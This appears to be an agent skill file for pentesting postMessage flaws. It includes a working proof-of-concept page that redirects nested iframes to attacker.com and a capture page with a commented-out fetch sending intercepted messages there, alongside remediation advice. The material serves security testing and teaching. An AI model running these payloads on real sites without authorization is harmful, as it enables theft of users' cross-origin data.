Hacktricks-skills postmessage-iframe-exploit
Security testing skill for detecting and exploiting postMessage vulnerabilities through iframe location manipulation. Use this skill when testing web applications for postMessage security issues, when you need to check if nested iframes can be hijacked, when auditing cross-origin communication, or when investigating potential data exfiltration through postMessage. Trigger this skill for any pentesting task involving postMessage, iframe security, cross-origin communication vulnerabilities, or when the user mentions testing for message hijacking, iframe location manipulation, or wildcard postMessage receivers.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location/SKILL.MDPostMessage Iframe Location Exploit Testing
This skill helps security testers identify and validate postMessage vulnerabilities where an attacker can hijack iframe locations to intercept sensitive data.
Vulnerability Overview
This attack works when:
- A parent page can be iframed (no X-Frame-Options or X-Frame-Options: SAMEORIGIN)
- The parent page contains nested iframes
- The page uses
with wildcard (postMessage
) or overly permissive target origins* - The attacker can manipulate
to redirect iframe contentframes[].location
When to Use This Skill
Use this skill when:
- Testing web applications for postMessage security vulnerabilities
- Auditing cross-origin communication patterns
- Investigating potential data exfiltration vectors
- Performing authorized penetration testing on web applications
- Reviewing iframe implementations for security issues
Testing Methodology
Step 1: Reconnaissance
Identify potential targets:
# Check for X-Frame-Options header curl -I https://target-site.com | grep -i x-frame-options # Check for Content-Security-Policy frame-ancestors curl -I https://target-site.com | grep -i content-security-policy
If no X-Frame-Options header exists, the page may be iframeable.
Step 2: Identify Nested Iframes
Look for pages that:
- Embed third-party content (Google Docs, Sheets, external widgets)
- Use iframes for cross-origin communication
- Implement postMessage for data exchange
// In browser console on target page document.querySelectorAll('iframe').forEach((frame, i) => { console.log(`Frame ${i}:`, frame.src); });
Step 3: Detect Wildcard postMessage Usage
Search the page source for postMessage patterns:
# Look for wildcard receivers grep -r 'postMessage.*\*' /path/to/page-source/ # Look for overly permissive target origins grep -r 'postMessage.*"\*"' /path/to/page-source/
Step 4: Test Iframe Location Manipulation
Create a test page to attempt the exploit:
<!DOCTYPE html> <html> <head> <title>PostMessage Iframe Test</title> </head> <body> <h1>PostMessage Iframe Location Test</h1> <iframe id="target-frame" src="https://target-site.com/page-with-iframe"></iframe> <script> // Attempt to manipulate nested iframe locations function attemptIframeManipulation() { const frames = window.frames; // Try to access and modify nested frames for (let i = 0; i < frames.length; i++) { try { const frame = frames[i]; console.log(`Testing frame ${i}:`, frame.location.href); // Attempt to modify location (will fail if cross-origin restrictions apply) // This is the core of the vulnerability if (frame.frames && frame.frames.length > 0) { for (let j = 0; j < frame.frames.length; j++) { try { frame.frames[j].location = 'https://attacker.com/capture.html'; console.log(`Modified frame ${i}.${j} location`); } catch (e) { console.log(`Cannot modify frame ${i}.${j}:`, e.message); } } } } catch (e) { console.log(`Cannot access frame ${i}:`, e.message); } } } // Run periodically as iframes may load asynchronously setTimeout(attemptIframeManipulation, 2000); setInterval(attemptIframeManipulation, 1000); </script> </body> </html>
Step 5: Capture PostMessage Data
If the location manipulation succeeds, set up a receiver:
<!DOCTYPE html> <html> <head> <title>PostMessage Capture</title> </head> <body> <h1>Captured Messages</h1> <div id="messages"></div> <script> // Listen for all postMessage events window.addEventListener('message', function(event) { const messageData = { origin: event.origin, source: event.source ? 'iframe' : 'window', data: event.data, timestamp: new Date().toISOString() }; // Log to console console.log('Captured message:', messageData); // Display on page const div = document.createElement('div'); div.innerHTML = `<pre>${JSON.stringify(messageData, null, 2)}</pre>`; document.getElementById('messages').appendChild(div); // Optionally exfiltrate to attacker server // fetch('https://attacker.com/capture', { // method: 'POST', // headers: {'Content-Type': 'application/json'}, // body: JSON.stringify(messageData) // }); }); </script> </body> </html>
Common Vulnerable Patterns
Pattern 1: Wildcard Target Origin
// VULNERABLE - sends to any origin window.parent.postMessage(data, '*'); // SECURE - specify exact origin window.parent.postMessage(data, 'https://trusted-origin.com');
Pattern 2: Missing Origin Validation
// VULNERABLE - accepts messages from any origin window.addEventListener('message', function(event) { // No origin check! processSensitiveData(event.data); }); // SECURE - validate origin window.addEventListener('message', function(event) { if (event.origin !== 'https://trusted-origin.com') { return; // Reject untrusted messages } processSensitiveData(event.data); });
Pattern 3: Iframeable Pages with Nested Iframes
<!-- VULNERABLE if no X-Frame-Options header --> <html> <body> <iframe src="https://third-party.com/widget"></iframe> <script> // Sends data to nested iframe window.frames[0].postMessage(sensitiveData, '*'); </script> </body> </html>
Remediation Recommendations
For Developers
-
Set X-Frame-Options header
X-Frame-Options: DENY # or X-Frame-Options: SAMEORIGIN -
Use Content-Security-Policy
Content-Security-Policy: frame-ancestors 'self'; -
Specify exact postMessage origins
// Instead of '*' window.parent.postMessage(data, 'https://specific-trusted-origin.com'); -
Validate message origins
window.addEventListener('message', function(event) { if (event.origin !== 'https://expected-origin.com') { return; } // Process message }); -
Use frame-busting scripts
if (window.top !== window.self) { window.top.location = window.location; }
Reporting Findings
When documenting this vulnerability:
-
Severity: High (potential for data exfiltration)
-
CVSS Factors:
- Attack Vector: Network
- Attack Complexity: Low (if conditions met)
- Privileges Required: None
- User Interaction: None (automated)
- Confidentiality: High impact
- Integrity: Medium impact
- Availability: Low impact
-
Proof of Concept: Include the test page that demonstrates the exploit
-
Impact: Describe what data could be exfiltrated
-
Remediation: Provide the recommendations above
Safety and Ethics
⚠️ IMPORTANT: Only use this skill for:
- Authorized security testing on systems you own or have explicit permission to test
- Educational purposes in controlled environments
- Bug bounty programs where this vulnerability type is in scope
Do not use this technique on:
- Systems without explicit authorization
- Production systems without proper testing procedures
- Third-party applications without permission